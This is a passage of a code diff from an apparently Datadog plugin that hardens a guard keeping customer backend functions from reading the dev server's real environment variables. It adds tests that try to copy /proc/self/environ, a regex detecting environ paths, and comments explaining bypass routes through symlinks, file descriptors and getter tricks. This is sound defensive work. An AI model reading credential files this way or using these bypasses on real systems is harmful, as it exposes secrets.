allowed in backend functions/, - ); + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.copyFile('/proc/self/environ', dest, callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); }); } finally { fs.rmSync(dest, { force: true }); @@ -757,14 +964,32 @@ describe('env-guard', () => { } }); + // Regression coverage: same callback-contract requirement as fs.readFile above. + test('Should block the callback-style fs.cp("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-cp-cb-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.cp('/proc/self/environ', dest, callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + // new fs.ReadStream(path) constructs directly, bypassing the createReadStream factory the - // guard above wraps — verified separately since the two are distinct entry points. - // @types/node declares no (path, options) constructor for ReadStream (it inherits - // Readable's), so Reflect.construct invokes the real, untyped signature directly instead of - // fighting that gap with a cast. The unrelated-file case attaches a no-op error listener and - // destroys the stream itself: its underlying async open can still be in flight when the - // test's own finally block deletes the file, which would otherwise surface as an unhandled - // 'error' event and crash the process rather than fail the assertion. + // guard above wraps, so it needs separate coverage. @types/node declares no (path, options) + // constructor for ReadStream, so Reflect.construct invokes the real, untyped signature + // directly. The unrelated-file case attaches a no-op error listener: the underlying async + // open can still be in flight when the test's finally block deletes the file, which would + // otherwise surface as an unhandled 'error' event. function constructReadStream(rawPath: string): fs.ReadStream { const stream: fs.ReadStream = Reflect.construct(fs.ReadStream, [rawPath]); stream.on('error', () => {}); @@ -814,13 +1039,11 @@ describe('env-guard', () => { }); }); - // On Node >=22.13.0, excludeEnv must delegate to Node's OWN native setter, not a disconnected - // JS shadow variable — a shadow would leave the JS-visible value read back correctly while - // having zero effect on what a native, non-JS-triggered report (--report-on-signal etc.) - // actually contains, since that path reads Node's real internal flag directly. Node's native - // setter validates its argument type (throwing for a non-boolean); a disconnected shadow - // would silently accept anything, so this failure mode is observable without needing to - // spawn a subprocess and send it a real signal. + // On Node >=22.13.0, excludeEnv must delegate to Node's own native setter, not a + // disconnected JS shadow that would have zero effect on a native, non-JS-triggered report + // (--report-on-signal etc). Node's native setter throws for a non-boolean; a disconnected + // shadow would silently accept anything, making this observable without spawning a + // subprocess to send a real signal. function nodeSupportsNativeExcludeEnv(): boolean { const [major, minor] = process.version.slice(1).split('.').map(Number); return major > 22 || (major === 22 && minor >= 13); @@ -858,6 +1081,29 @@ describe('env-guard', () => { expect(processReport.excludeEnv).toBe(before); }); + // excludeEnv is process-wide — an outside caller's write made while a DIFFERENT scope is + // still active must defer rather than apply immediately, or it would disarm redaction for + // that still-running scope and then get clobbered back by its cleanup. + test('Should defer an outside write made while a scope is active, applying it once that scope closes instead of the pre-scope original', async () => { + let resolveScope: (() => void) | undefined; + const scope = runWithScopedEnv({ PATH: '/scoped' }, async () => { + await new Promise((resolve) => { + resolveScope = resolve; + }); + }); + + // Made from outside the scope's own continuation — an unrelated caller, not the customer function. + processReport.excludeEnv = false; + // Not applied yet: the scope is still active, so the real flag stays armed for it. + expect(processReport.excludeEnv).toBe(true); + + resolveScope?.(); + await scope; + + // Applied once the scope closed, not clobbered back to whatever excludeEnv held before it opened. + expect(processReport.excludeEnv).toBe(false); + }); + test("Should not clobber a developer's own excludeEnv=true setting made before the scoped-env window opened", async () => { const before = processReport.excludeEnv; processReport.excludeEnv = true; @@ -888,13 +1134,11 @@ describe('env-guard', () => { } }); - // Regression coverage: forceResetEnv() zeroes activeScopeCount unconditionally as a test-only - // backstop. If a zombie scope's own runWithScopedEnv finally fires AFTER forceResetEnv() - // already ran (exactly the ordering a test harness's afterEach can produce against a scope a - // test deliberately left open), an unclamped decrement drives the count negative. Every later - // scope's own increment then lands on 0 instead of 1, so the `=== 1` branch that arms - // excludeEnv protection never fires again for the rest of the process — a future customer - // function's process.report call would go unredacted with no error or warning. + // Regression coverage: if a zombie scope's runWithScopedEnv finally fires AFTER + // forceResetEnv() already zeroed activeScopeCount (the ordering a test harness's afterEach + // produces against a scope deliberately left open), an unclamped decrement drives the count + // negative — every later scope's increment then lands on 0 instead of 1, so the `=== 1` + // branch that arms excludeEnv protection never fires again. test("Should still arm excludeEnv protection for a later scope after forceResetEnv() races a zombie scope's own decrement", async () => { let resolveZombie: (() => void) | undefined; const zombie = runWithScopedEnv({ PATH: '/zombie' }, async () => { @@ -913,11 +1157,9 @@ describe('env-guard', () => { }); }); - // Regression coverage: activeScopeCount/excludeEnvArmed are shared by every concurrent scope, - // not per-call. Without resetEpoch, a zombie's own finally firing AFTER forceResetEnv() has - // already run — but WHILE a later, unrelated scope is still active — would decrement and - // restore against that later scope's own state instead of its own, disarming excludeEnv - // protection while that scope's customer function is still running. + // Regression coverage: without resetEpoch, a zombie's finally firing after forceResetEnv() + // has run — but while a later, unrelated scope is still active — would decrement and + // restore against that later scope's state, disarming excludeEnv protection mid-run. test("Should not let a zombie scope's post-forceResetEnv finally disarm excludeEnv for a still-active later scope", async () => { const before = processReport.excludeEnv; diff --git a/packages/plugins/apps/src/vite/env-guard.ts b/packages/plugins/apps/src/vite/env-guard.ts index d3640f10b..d4af9f5e6 100644 --- a/packages/plugins/apps/src/vite/env-guard.ts +++ b/packages/plugins/apps/src/vite/env-guard.ts @@ -10,25 +10,19 @@ import { syncBuiltinESMExports } from 'node:module'; import nodePath from 'path'; import { fileURLToPath } from 'url'; -import { makeGuardWrapper } from './guarded-wrapper'; +import { makeGuardCallbackWrapper, makeGuardWrapper } from './guarded-wrapper'; import { getOrCreateShared } from './shared-module-singleton'; -// Scopes process.env to a from-scratch allowlist during local execution. There's no process -// boundary here to stop customer code from reading the dev server's real environment, including -// its own credentials — production runs each execution in its own Deno subprocess with -// --allow-env, but local execution has no equivalent isolation. This also blocks the -// /proc/.../environ backing-store bypass on Linux, which swapping process.env alone doesn't stop. +// Scopes process.env to a from-scratch allowlist during local execution — production isolates +// each execution in its own Deno subprocess with --allow-env, but local execution has no process +// boundary, so this also blocks the /proc/.../environ backing-store bypass on Linux that swapping +// process.env alone wouldn't stop. // -// Matches network-guard.ts's own framing: no OS sandbox here, so this is JS-level -// defense-in-depth, not a hard security boundary. A native addon reading the real environment via -// libc directly is outside what this file can intercept. So is a callback that escapes its own -// scope's AsyncLocalStorage continuation entirely — a FinalizationRegistry finalizer, for example, -// which Node runs outside any tracked continuation — and reassigns process.env from there. The -// reassignment setter below can only tell that no scope is currently active, which is -// indistinguishable from a legitimate reload happening long after the callback's own scope has -// already concluded. So this doesn't just see stale data: it can adopt attacker-controlled data as -// the new real-environment fallback for every later execution, the same way a plain, untracked -// reassignment could before that setter existed. +// JS-level defense-in-depth only, not a hard security boundary (matches network-guard.ts): a +// callback that escapes its own AsyncLocalStorage continuation entirely — a FinalizationRegistry +// finalizer, for example — can reassign process.env indistinguishably from a legitimate +// post-scope reload, letting attacker-controlled data become the real-environment fallback for +// every later execution. export const SAFE_ENV_KEYS = ['PATH', 'HOME', 'NODE_ENV', 'TMPDIR'] as const; @@ -41,7 +35,48 @@ export function buildScopedEnv(customCredentials: Record): Recor scoped[key] = value; } } - return { ...scoped, ...customCredentials }; + const merged = { ...scoped, ...customCredentials }; + if (process.platform !== 'win32') { + return merged; + } + // On win32, Node's real process.env is case-insensitive (e.g. .Path and .PATH read the same + // value), but `merged` is a plain object. Without this, customer code reading a SAFE_ENV_KEYS + // entry under any casing other than its canonical uppercase form gets undefined during local + // execution even though the same read against the real environment would succeed. + return new Proxy(merged, { + get(target, prop, receiver) { + if (typeof prop === 'string' && !(prop in target)) { + const canonicalKey = SAFE_ENV_KEYS.find( + (key) => key.toLowerCase() === prop.toLowerCase(), + ); + if (canonicalKey) { + return Reflect.get(target, canonicalKey, receiver); + } + } + return Reflect.get(target, prop, receiver); + }, + has(target, prop) { + if (typeof prop === 'string' && !(prop in target)) { + return SAFE_ENV_KEYS.some((key) => key.toLowerCase() === prop.toLowerCase()); + } + return Reflect.has(target, prop); + }, + // Without this, a write through a non-canonical casing (e.g. .Path when only .PATH exists) + // falls through to the default set behavior and creates a second, separate own property + // instead of updating the canonical one — leaving PATH/Path/path to disagree within the + // same scope, breaking the case-insensitivity the get/has traps above establish for reads. + set(target, prop, value) { + if (typeof prop === 'string' && !(prop in target)) { + const canonicalKey = SAFE_ENV_KEYS.find( + (key) => key.toLowerCase() === prop.toLowerCase(), + ); + if (canonicalKey) { + return Reflect.set(target, canonicalKey, value); + } + } + return Reflect.set(target, prop, value); + }, + }); } /** Everything a re-evaluation of this file needs to share with every other re-evaluation — see getSharedState()'s own comment for why this can't just be module-level `let`s. */ @@ -50,31 +85,24 @@ interface SharedEnvGuardState { realEnv: NodeJS.ProcessEnv; activeScopeCount: number; savedExcludeEnv: boolean | undefined; - // Bumped by forceResetEnv(). activeScopeCount is shared by ALL concurrent scopes, not per-call — - // without this, a zombie scope's own delayed finally (forcibly closed out by forceResetEnv() - // while still pending) would later apply its decrement/restore against whatever DIFFERENT, - // still-legitimately-running scope has since claimed that same shared state, disarming excludeEnv - // protection out from under it. Each runWithScopedEnv call snapshots this at start and skips its - // own finally's cleanup entirely if it's changed by the time that runs, since forceResetEnv() - // already discharged this call's obligation on its behalf — the only path that can reach - // restoreExcludeEnvIfLastScope() with activeScopeCount === 0 is the one call (a real scope's own - // finally, or forceResetEnv()) that owns the arming from a matching 0→1 transition, so no separate - // "armed" flag is needed to guard against a second, already-discharged call getting through. + // Bumped by forceResetEnv() so a zombie scope's delayed finally can detect it was forcibly + // closed out already, and skip re-applying its decrement/restore against whatever different, + // still-running scope has since claimed the shared activeScopeCount. resetEpoch: number; // process.report.excludeEnv already has a native getter/setter of its own (Node validates the // assigned value there), so "does it already have an accessor" can't tell our guarded version // apart from Node's own stock one — this is the actual install marker, checked instead. excludeEnvGuardInstalled: boolean; + // The raw, unguarded apply function — runWithScopedEnv's own arm/disarm calls this directly + // instead of the public `processReport.excludeEnv =` accessor, since that accessor defers any + // write made while a scope is active and would otherwise swallow the framework's own trusted call. + applyExcludeEnvValue: (newValue: boolean | undefined) => void; } -// Keyed on the real `fs` module (not a per-module-instance object), via the same -// getOrCreateShared() helper network-guard.ts's own getSharedContext() uses: this file gets -// evaluated more than once — bundled copies and Jest's per-test-file isolation — and every -// evaluation needs the SAME scopedEnvContext/realEnv/activeScopeCount, not its own separate copy. -// Without this, a second evaluation's runWithScopedEnv would populate its own private -// AsyncLocalStorage that the first evaluation's already-installed Proxy (bound to the first -// evaluation's own closures) never consults, so customer code would read the real, unscoped -// environment through that Proxy with no error and no scoping at all. +// Keyed on the real `fs` module, via the same getOrCreateShared() helper network-guard.ts uses: +// this file gets evaluated more than once (bundled copies, Jest's per-test-file isolation), and +// every evaluation must share the same scopedEnvContext/realEnv/activeScopeCount or a later +// evaluation's Proxy would never consult the storage an earlier evaluation's scope populates. function getSharedState(): SharedEnvGuardState { return getOrCreateShared(fs, '@dd/apps-plugin/env-guard shared-state', () => ({ scopedEnvContext: new AsyncLocalStorage>(), @@ -83,6 +111,7 @@ function getSharedState(): SharedEnvGuardState { savedExcludeEnv: undefined, resetEpoch: 0, excludeEnvGuardInstalled: false, + applyExcludeEnvValue: () => {}, })); } @@ -148,7 +177,11 @@ function ensureEnvProxyInstalled(): void { const env = currentEnv(); return Reflect.get(env, prop, receiver); }, - set: forwardToCurrentEnv(Reflect.set), + // Not forwardToCurrentEnv(Reflect.set): a plain `process.env[key] = value` passes the Proxy + // itself as `receiver`, which for an existing writable property falls back to a PARTIAL + // descriptor that Node's native process.env binding rejects outright. Omitting `receiver` + // from Reflect.set defaults it to `env` itself, resolving as a direct set instead. + set: (_target, prop, value) => Reflect.set(currentEnv(), prop, value), has: (_target, prop) => { const env = currentEnv(); return prop === ENV_PROXY_MARKER || Reflect.has(env, prop); @@ -166,26 +199,17 @@ function ensureEnvProxyInstalled(): void { // scoped prototype and immediately reads it back would see `target`'s (the real env's) // untouched prototype instead of the one it just set on the scoped view. getPrototypeOf: forwardToCurrentEnv(Reflect.getPrototypeOf), - // Can't forward to currentEnv() like the other traps: the Proxy invariants require that a - // `preventExtensions` trap returning `true` only be honored if `target` itself (the real env - // object, always passed in as `target` regardless of what currentEnv() resolves to) is - // ALSO already non-extensible — so routing this to the scoped object would either silently - // do nothing (the real env stays extensible, engine throws on the next ownKeys call as the - // target/trap-result mismatch is detected) or require actually freezing the real env to - // satisfy the invariant, which would break it process-wide. Refusing outright is the only - // option that can't leak real-env state or brick the proxy either way. No isExtensible trap - // is needed alongside it: the default (untrapped) behavior already forwards to `target`, - // which stays truthfully extensible since preventExtensions never actually mutates it. + // Can't forward to currentEnv(): the Proxy invariants only honor a `preventExtensions` trap + // returning `true` if `target` (always the real env object) is also non-extensible, so + // routing this to the scoped object would either desync the invariant or force freezing the + // real env process-wide. Refusing outright is the only option that risks neither. preventExtensions: () => false, }); - // process.env is defined as an accessor property, not left as the plain, freely-reassignable - // data property it started as — a bare `process.env = X` replaces `process`'s own `env` - // property outright rather than going through any trap on the object those traps guard, so - // without this, a customer function could wholesale-replace process.env from inside its own - // scope with no error, and the NEXT runWithScopedEnv call's ensureEnvProxyInstalled() would then - // silently adopt that customer-controlled object as the new realEnv fallback — corrupting every - // later, unrelated execution's own safe-allowlisted view with attacker-supplied data. - // configurable: false so nothing can later strip this accessor back to a plain data property. + // process.env must be an accessor property, not the plain data property it started as — a bare + // `process.env = X` replaces `process`'s own `env` property outright, bypassing every Proxy + // trap above, and the next runWithScopedEnv call would silently adopt that customer-controlled + // object as the new realEnv fallback for every later execution. configurable: false so nothing + // can strip this accessor back to a plain data property. Object.defineProperty(process, 'env', { configurable: false, enumerable: true, @@ -208,11 +232,11 @@ function ensureEnvProxyInstalled(): void { } ensureEnvProxyInstalled(); -// /proc/thread-self is a symlink to /proc/self/task/, so its realpath-resolved form carries -// an extra /task/ segment that /proc/self and /proc/ never do. -const ENVIRON_PATH_RE = new RegExp( - `^/proc/(self|thread-self|${process.pid})(/task/\\d+)?/environ$`, -); +// /proc/thread-self resolves to /proc/self/task/, hence the optional /task/ segment. +// Matches any numeric pid, not just process.pid: a parent process (e.g. the shell that launched +// the dev server) inherits the same secrets, and there's no legitimate reason a backend function +// reads any process's environ file during a scoped execution. +const ENVIRON_PATH_RE = /^\/proc\/(self|thread-self|\d+)(\/task\/\d+)?\/environ$/; // Structural check, not `instanceof Error`: Node's native fs errors can cross a realm boundary // (e.g. Jest's per-test-file VM sandboxing) where `instanceof Error` is false even though the @@ -229,22 +253,20 @@ function toPathString(rawPath: unknown): string | undefined { return rawPath; } if (Buffer.isBuffer(rawPath)) { - return rawPath.toString(); + // Buffer.prototype.toString.call, not rawPath.toString(): a customer-controlled instance can + // override its own toString to report a benign path while Node's native fs call still reads + // the real, unmodified bytes. + return Buffer.prototype.toString.call(rawPath); } if (rawPath instanceof URL) { return fileURLToPath(rawPath); } if (typeof rawPath === 'number' && process.platform === 'linux') { // fs.readFileSync/open and friends also accept an already-open fd in place of a path — - // /proc/self/fd/ is a Linux-only symlink to whatever that fd actually points at, which - // lets the realpath-based resolution below see through to the real target the same way it - // already does for a symlink passed as a literal path. Off Linux there's no portable way to - // recover a fd's path at all, so a numeric fd is simply never path-like enough to check — - // matching this file's existing environ-guard tests, which are Linux-only for the same - // /proc-specific reason. Only ENOENT (the fd genuinely doesn't exist) falls back to "not - // path-like" — any other failure (EACCES, ELOOP, ...) means the real target can't be - // verified, so it's re-thrown rather than silently treating an unverifiable fd as safe, - // matching isEnvironPath's identical fail-closed handling of realpathSync below. + // /proc/self/fd/ is a Linux-only symlink to whatever that fd actually points at, letting + // the realpath resolution below see through it the same way it does for a literal symlink + // path. Only ENOENT falls back to "not path-like"; any other failure (EACCES, ELOOP, ...) + // is re-thrown rather than treating an unverifiable fd as safe. try { return fs.readlinkSync(`/proc/self/fd/${rawPath}`); } catch (error) { @@ -262,17 +284,11 @@ function isEnvironPath(rawPath: unknown): boolean { if (pathString === undefined) { return false; } - // Resolved via realpathSync first, not just normalized: a symlink pointing at /proc/.../environ - // has its own, unrelated literal path, so matching only the (even normalized) literal string - // would let a backend function read the real environment straight through a symlink it created - // itself — fs.readFileSync and friends follow symlinks transparently. Falls back to - // normalize-only when the path doesn't exist yet (ENOENT, e.g. a new file being created) — a - // nonexistent path can't be /proc/.../environ anyway. Any other realpathSync failure (EACCES, - // ELOOP, ...) means the real target can't be verified, so it's re-thrown rather than silently - // falling through to an unresolved literal match a symlink could bypass — the caller (the real - // fs function about to run) would hit the identical error anyway, so this only changes WHEN it - // surfaces, not whether the read is denied, and avoids masking an unrelated permission/loop error - // behind a misleading "environ" message. + // Resolved via realpathSync first, not just normalized: fs.readFileSync and friends follow + // symlinks transparently, so a symlink pointing at /proc/.../environ would otherwise bypass a + // literal-string match. Falls back to normalize-only on ENOENT (a nonexistent path can't be + // /proc/.../environ). Any other realpathSync failure is re-thrown rather than silently treated + // as a safe path — the real fs call would hit the identical error anyway. let resolvedPath: string; try { resolvedPath = fs.realpathSync(pathString); @@ -289,12 +305,19 @@ function isEnvironPath(rawPath: unknown): boolean { const ENVIRON_READ_BLOCKED_MESSAGE = "Reading /proc/.../environ is not allowed in backend functions — it exposes the dev server's real, unscoped environment. Use $.Source or a declared Custom Credential instead."; -// Per-continuation, like currentEnv() above: only the specific continuation currently inside its -// own scope pays this check, so it can't fire for unrelated code (Vite's own internals, a sibling -// execution) running concurrently on a different continuation that isn't scoped at all. A pure -// predicate (rather than throwing itself) so it can also serve as makeGuardWrapper's shouldBlock. +// Per-continuation, like currentEnv() above, so it can't fire for unrelated code running +// concurrently on a different, unscoped continuation. A pure predicate (rather than throwing +// itself) so it can also serve as makeGuardWrapper's shouldBlock. extractFdNumber unwraps an +// already-open FileHandle to the same numeric fd toPathString() resolves via /proc/self/fd, so a +// FileHandle opened against /proc/.../environ before the scope is caught the same way. function isBlockedEnvironPath(rawPath: unknown): boolean { - return sharedState.scopedEnvContext.getStore() !== undefined && isEnvironPath(rawPath); + // Short-circuits before touching rawPath at all when no scope is active — extractFdNumber reads + // a real FileHandle's native .fd getter, which callers outside any scope must never trigger. + if (sharedState.scopedEnvContext.getStore() === undefined) { + return false; + } + const fdNumber = extractFdNumber(rawPath); + return isEnvironPath(fdNumber); } function throwIfBlockedEnvironPath(rawPath: unknown): void { @@ -312,29 +335,25 @@ function extractFdNumber(fdValue: unknown): unknown { } // createReadStream/ReadStream's options.fd (a raw fd number, or a FileHandle whose own .fd is one) -// makes Node read from that fd directly and ignore the leading path argument entirely — a plain -// throwIfBlockedEnvironPath(rawPath) would never see the real target when it's passed this way instead. -// Returns a safe options object to actually pass to the real call in place of the caller's own: -// options.fd could be an accessor property whose getter returns a harmless value the one time this -// check reads it and a different, real target the next time Node's own implementation separately -// reads the same property — captured into a plain data property here, options.fd can only ever be -// read as the exact value that was already checked. +// makes Node read from that fd directly, ignoring the leading path argument — a plain +// throwIfBlockedEnvironPath(rawPath) would never see the real target. Returns a safe options +// object rather than the caller's own: options.fd could be an accessor whose getter returns a +// harmless value to this check and a different, real target to Node's own later read. function guardEnvironPathOrFdOption(rawPath: unknown, options: unknown): unknown { throwIfBlockedEnvironPath(rawPath); if (typeof options !== 'object' || options === null || !('fd' in options)) { return options; } const fdValue = options.fd; - throwIfBlockedEnvironPath(extractFdNumber(fdValue)); + const fdNumber = extractFdNumber(fdValue); + throwIfBlockedEnvironPath(fdNumber); return { ...options, fd: fdValue }; } -// Every guarded fs entry point below except createReadStream takes only a leading path argument -// and forwards the rest unchanged — wraps that shared shape once instead of repeating it per -// function, via the same makeGuardWrapper network-guard.ts uses, with isBlockedEnvironPath as the -// argument-dependent shouldBlock (network-guard.ts's own uses are all argument-independent). Sync -// and callback-style functions (readFileSync, readFile, openSync, open) must throw synchronously on -// a guard failure, matching their real Node contract and what callers of a sync API expect. +// Every guarded fs entry point below except createReadStream takes only a leading path argument — +// wraps that shared shape once via the same makeGuardWrapper network-guard.ts uses, with +// isBlockedEnvironPath as an argument-dependent shouldBlock. Only for genuinely synchronous APIs, +// where a guard failure throwing synchronously matches their real Node contract. function wrapGuardedFsFn unknown>(real: T): T { return makeGuardWrapper( () => real, @@ -355,6 +374,17 @@ function wrapGuardedAsyncFsFn Promise>( ); } +// fs.readFile/open/copyFile/cp report failure via an error-first callback, never a synchronous +// throw — routing them through wrapGuardedFsFn's 'throw' mode would violate that contract for a +// caller that (correctly, per their real signature) never wraps the call itself in a try/catch. +function wrapGuardedCallbackFsFn unknown>(real: T): T { + return makeGuardCallbackWrapper( + () => real, + (rawPath) => isBlockedEnvironPath(rawPath), + ENVIRON_READ_BLOCKED_MESSAGE, + ); +} + // createReadStream is the one guarded entry point whose second (options) argument can itself carry // the real read target via options.fd, bypassing whatever the leading path argument says — every // other function this file guards only ever reads from its own leading path argument. @@ -370,21 +400,21 @@ function wrapGuardedStreamFn unknown>(real: T): // open/openSync/promises.open are separate entry points that map a path to a file descriptor // without going through readFile*, so they need the same guard. fs.readFileSync = wrapGuardedFsFn(fs.readFileSync); -fs.readFile = wrapGuardedFsFn(fs.readFile); +fs.readFile = wrapGuardedCallbackFsFn(fs.readFile); fs.promises.readFile = wrapGuardedAsyncFsFn(fs.promises.readFile); fs.createReadStream = wrapGuardedStreamFn(fs.createReadStream); fs.openSync = wrapGuardedFsFn(fs.openSync); -fs.open = wrapGuardedFsFn(fs.open); +fs.open = wrapGuardedCallbackFsFn(fs.open); fs.promises.open = wrapGuardedAsyncFsFn(fs.promises.open); // copyFileSync/copyFile/promises.copyFile/cpSync/promises.cp read the source file's bytes through // a distinct native binding that never calls through readFile*/open* above — an uncovered path that // could otherwise copy /proc/.../environ to an ordinary, unguarded file and read it back from there. fs.copyFileSync = wrapGuardedFsFn(fs.copyFileSync); -fs.copyFile = wrapGuardedFsFn(fs.copyFile); +fs.copyFile = wrapGuardedCallbackFsFn(fs.copyFile); fs.promises.copyFile = wrapGuardedAsyncFsFn(fs.promises.copyFile); fs.cpSync = wrapGuardedFsFn(fs.cpSync); -fs.cp = wrapGuardedFsFn(fs.cp); +fs.cp = wrapGuardedCallbackFsFn(fs.cp); fs.promises.cp = wrapGuardedAsyncFsFn(fs.promises.cp); // createReadStream's own wrap above only covers that factory function — Node also exports the @@ -401,12 +431,11 @@ fs.ReadStream = new Proxy(fs.ReadStream, { }); // @types/node doesn't declare excludeEnv yet. It's real, but only wired up to the native report -// generator from Node v22.13.0 — CI pins Node 20.19.4, where setting it is a silent no-op, so it -// alone doesn't close this gap on every Node version this repo supports. Kept anyway: on versions -// that do support it, it also covers reports Node generates on its own via --report-on-fatalerror/ -// --report-on-signal, which the getReport()/writeReport() wraps below can't reach since no JS call -// happens for those. Augmented globally (rather than cast with `as unknown as`) so every consumer, -// including this file's own test, shares one canonical type instead of independently-typed casts. +// generator from Node v22.13.0 — CI pins Node 20.19.4, where setting it is a no-op. Kept anyway: +// on versions that support it, it also redacts reports Node generates on its own via +// --report-on-fatalerror/--report-on-signal, which the getReport()/writeReport() wraps below can't +// reach since no JS call happens for those. Augmented globally so every consumer shares one +// canonical type instead of independently-typed `as unknown as` casts. declare global { namespace NodeJS { interface ProcessReport { @@ -416,30 +445,29 @@ declare global { } const processReport = process.report; -// excludeEnv already has its own native getter/setter on Node >=22.13.0 (Node validates the assigned -// value there) — but that setter has no concept of "a customer function's own scope," so nothing -// stops one from flipping it back off with `process.report.excludeEnv = false` from inside its own -// scope, silently disarming the protection runWithScopedEnv below just armed for that same scope. -// Guarded the same way process.env is: redefined as an accessor whose setter only rejects a -// reassignment made BY code running inside its own active scope, so -// runWithScopedEnv's/restoreExcludeEnvIfLastScope's own arm/disarm (both always run from outside any -// scope — see runWithScopedEnv's own comment) pass through untouched. Wraps Node's own native -// get/set (when present) rather than replacing them with a plain JS variable: the native -// report-generator triggered by --report-on-fatalerror/--report-on-signal reads its own internal -// flag directly, not this property, so a plain-variable shadow would read back whatever value was -// last written yet have zero effect on what those native, non-JS-triggered reports actually contain -// — wrapping keeps that real, underlying flag in sync, and picks Node's own value-validation back up -// as a side effect. Installed only once (tracked via sharedState.excludeEnvGuardInstalled, not a -// descriptor check — Node's own native accessor already has a getter, so "does it have one" can't -// tell that apart from our own already being installed): this file's top-level code re-runs on every -// evaluation (bundled copies, Jest's per-test-file isolation), and process.report is a true -// singleton, not the getSharedState()-style per-installation object above — a second -// Object.defineProperty on an already-configurable:false accessor would throw. +// excludeEnv has its own native setter on Node >=22.13.0, but that setter has no concept of "a +// customer function's own scope," so nothing stops one flipping it back off with +// `process.report.excludeEnv = false` from inside its own scope, silently disarming the +// protection runWithScopedEnv just armed. Guarded the same way process.env is: redefined as an +// accessor whose setter only rejects a reassignment made from inside an active scope. Wraps +// Node's own native get/set (when present) rather than a plain JS variable: the native +// report-generator triggered by --report-on-fatalerror/--report-on-signal reads Node's real +// internal flag directly, not this property, so a plain-variable shadow would have zero effect on +// those non-JS-triggered reports. Installed only once, tracked via +// sharedState.excludeEnvGuardInstalled rather than a descriptor check, since Node's own native +// accessor already has a getter and this file's top-level code re-runs on every evaluation. function guardedExcludeEnvSetter(applyNewValue: (newValue: boolean | undefined) => void) { return (newValue: boolean | undefined) => { assertNotInsideActiveScope( "Reassigning process.report.excludeEnv is not allowed in backend functions — it would let a backend function's own diagnostic report include the dev server's real environment. This is armed automatically for the duration of the function's execution.", ); + if (sharedState.activeScopeCount > 0) { + // An unrelated caller writing from outside any scope while a DIFFERENT scope is still + // active elsewhere — applying it immediately would disarm redaction out from under + // that scope, so it's deferred to take effect once the active scope's own cleanup runs. + sharedState.savedExcludeEnv = newValue; + return; + } applyNewValue(newValue); }; } @@ -461,6 +489,7 @@ if (!sharedState.excludeEnvGuardInstalled) { excludeEnvValue = newValue; }; } + sharedState.applyExcludeEnvValue = applyExcludeEnvValue; Object.defineProperty(processReport, 'excludeEnv', { configurable: false, enumerable: true, @@ -522,14 +551,14 @@ process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...arg syncBuiltinESMExports(); // Shared by runWithScopedEnv's finally and forceResetEnv's own reset, so the two restore paths -// can't drift apart. No separate "armed" flag guards this against a second, already-discharged -// call: the resetEpoch check in runWithScopedEnv's finally (see its own comment) means a stale -// zombie scope can no longer reach this function at all once forceResetEnv() has run, rather than -// merely being neutralized after arriving — so by the time anything calls this with -// activeScopeCount === 0, it's always the one call that owns a matching 0→1 arm to restore from. +// can't drift apart. No separate "armed" flag is needed against a second, already-discharged +// call: the resetEpoch check in runWithScopedEnv's finally means a stale zombie scope can no +// longer reach this function at all once forceResetEnv() has run. function restoreExcludeEnvIfLastScope(): void { if (sharedState.activeScopeCount === 0) { - processReport.excludeEnv = sharedState.savedExcludeEnv; + // Direct apply, not `processReport.excludeEnv = ...`, matching runWithScopedEnv's own arm + // step above — this is the framework's own trusted restore, not an outside caller's write. + sharedState.applyExcludeEnvValue(sharedState.savedExcludeEnv); sharedState.savedExcludeEnv = undefined; } } @@ -544,11 +573,13 @@ export async function runWithScopedEnv( sharedState.activeScopeCount += 1; if (sharedState.activeScopeCount === 1) { // process.report.getReport()/writeReport() read the OS-level environment table directly, - // bypassing the process.env Proxy above entirely — the wraps above cover JS-triggered calls - // on every Node version; this also sets excludeEnv for the auto-triggered case on versions - // that support it (see the wraps' own comment for why both exist). + // bypassing the process.env Proxy — this also sets excludeEnv for the auto-triggered report + // case on Node versions that support it. Applied directly via + // sharedState.applyExcludeEnvValue, not the guarded `processReport.excludeEnv =` accessor: + // activeScopeCount is already incremented by this point, so the guarded setter would defer + // this call as an outside caller's write instead of actually arming the flag. sharedState.savedExcludeEnv = processReport.excludeEnv; - processReport.excludeEnv = true; + sharedState.applyExcludeEnvValue(true); } try { return await sharedState.scopedEnvContext.run(scopedEnv, fn); @@ -568,9 +599,9 @@ export async function runWithScopedEnv( // Defensive reset for process.report's reference count only — process.env itself never needs // forcing back, since scopedEnvContext resolves each continuation independently and a zombie's -// still-open scope was never shared global state to begin with. Used by env-guard.test.ts's own -// afterEach as a hard backstop against a test that left activeScopeCount incremented (e.g. one that -// exercises timeout/abandonment without ever letting its own runWithScopedEnv call settle). +// still-open scope was never shared global state to begin with. Called from +// local-execution.ts's abandonExecutionAndRejectWith when a timed-out execution's fn() will never +// settle and so never reach its finally. export function forceResetEnv(): void { if (sharedState.activeScopeCount > 0) { sharedState.activeScopeCount = 0; diff --git a/packages/plugins/apps/src/vite/guarded-wrapper.ts b/packages/plugins/apps/src/vite/guarded-wrapper.ts index f7369b925..d0c371c44 100644 --- a/packages/plugins/apps/src/vite/guarded-wrapper.ts +++ b/packages/plugins/apps/src/vite/guarded-wrapper.ts @@ -2,24 +2,15 @@ // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2019-Present Datadog, Inc. -// Shared `this`-forwarding wrapper for any guarded entry point that just calls through when -// `shouldBlock` returns false, and signals failure when it returns true. `shouldBlock` receives the -// call's own arguments so a caller can block on either a fixed, argument-independent condition -// (network-guard.ts's isCurrentlyBlocked()) or an argument-dependent one (env-guard.ts's check for -// whether this specific path/fd is the environ file, which can itself throw on an unrelated fs -// error like EACCES/ELOOP). `getReal` is a lazy getter, not the function itself, so a runtime swap -// of the real implementation (a test's spyOn/restoreMock, or a dependency reassigning the property) -// is picked up on the next call instead of being frozen at wrap time. 'throw' is for APIs that -// genuinely throw synchronously; 'reject' matches every Promise-returning target — in 'reject' mode -// a `shouldBlock` 